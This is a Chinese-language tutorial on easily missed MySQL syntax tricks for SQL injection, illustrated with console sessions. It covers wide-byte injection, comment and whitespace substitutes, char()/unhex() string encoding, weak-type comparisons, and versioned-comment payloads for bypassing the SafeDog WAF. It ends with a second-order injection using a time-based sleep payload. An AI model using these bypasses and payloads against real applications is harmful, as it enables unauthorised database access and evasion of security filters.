sql注入时易被忽略的语法技巧以及二次注入

那些容易被忽略、容易被弄错的地方

sql注入时的技巧
=========================================================================
*	如果单引号被转义，在当前数据库采用GBK编码的前提下，可以考虑双字节注入。

*	注释符的正确用法
		“-- ”才是mysql中的注释，注意后面有个空格
		mysql> select  user()  from (select 1)x where  '1'='1';-- '
		+----------------+
		| user()         |
		+----------------+
		| root@localhost |
		+----------------+
		1 row in set (0.00 sec)

		“#”注释，后面接不接空格无所谓
		mysql> select  user()  from (select 1) x where  '1'='1';#'
		+----------------+
		| user()         |
		+----------------+
		| root@localhost |
		+----------------+
		1 row in set (0.00 sec)

*	用/**/替代空格
		mysql> select/**/1;
		+---+
		| 1 |
		+---+
		| 1 |
		+---+
		1 row in set (0.00 sec)

*	sql语句中字符串转义
	-	mysql> select char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 );
		+-------------------------------------------------------------------+
		| char(32,47,116,109,112,47,102,95,117,115,101,114,46,116,120,116 ) |
		+-------------------------------------------------------------------+
		|  /tmp/f_user.txt                                                  |
		+-------------------------------------------------------------------+
		1 row in set (0.00 sec)

	-	mysql>  select  concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) ;
		+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
		| concat(char(32),char(47),char(116),char(109),char(112),char(47),char(102),char(95),char(117),char(115),char(101),char(114),char(46),char(116),char(120),char(116) ) |
		+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
		|  /tmp/f_user.txt                                                                                                                                                    |
		+---------------------------------------------------------------------------------------------------------------------------------------------------------------------+
		1 row in set (0.00 sec)

		# utf-8
	-	mysql> select unhex('E6B8B8E5AEA2');
		+-----------------------+
		| unhex('E6B8B8E5AEA2') |
		+-----------------------+
		| 游客                  |
		+-----------------------+
		1 row in set (0.00 sec)

*	数字和字符的比较，类似php中的弱类型
	-	mysql> select '10asfasfdeasdfasdf'=10;
		+-------------------------+
		| '10asfasfdeasdfasdf'=10 |
		+-------------------------+
		|                       1 |
		+-------------------------+

	-	mysql> select '0esfsadf'=0;
		+--------------+
		| '0esfsadf'=0 |
		+--------------+
		|            1 |
		+--------------+

*	绕过安全狗
	**	正则绕过
		-	select 1/*!50000union/*!*//*!50000select/*!*/2;
				+---+
				| 1 |
				+---+
				| 1 |
				| 2 |
				+---+

		-	mysql> select/*/#\*/1;
				+---+
				| 1 |
				+---+
				| 1 |
				+---+
				1 row in set (0.00 sec)

*	多个单引号相连时，最外层两个孤独单引号配对闭合，中间的连续偶数个单引号中每两个一组换算成一个。
	-	mysql> select '123''';
			+------+
			| 123' |
			+------+
			| 123' |
			+------+
			1 row in set (0.00 sec)

	-	mysql> select '123''''';
			+-------+
			| 123'' |
			+-------+
			| 123'' |
			+-------+

	-	mysql> select user from mysql.user where user='nickname'' and password=' or sleep(0.1);#'
			Empty set (1.00 sec)
		此特点可以引发“二次注入”，比如，注册用户时输入昵称{nickname'}，被转义为{nickname\'}但在插入到数据库后被还原，
		那么在需要将昵称作为查询条件的页面中就存在二次注入，另一个条件字段的值为{ or 0=sleep(1);#}即可触发。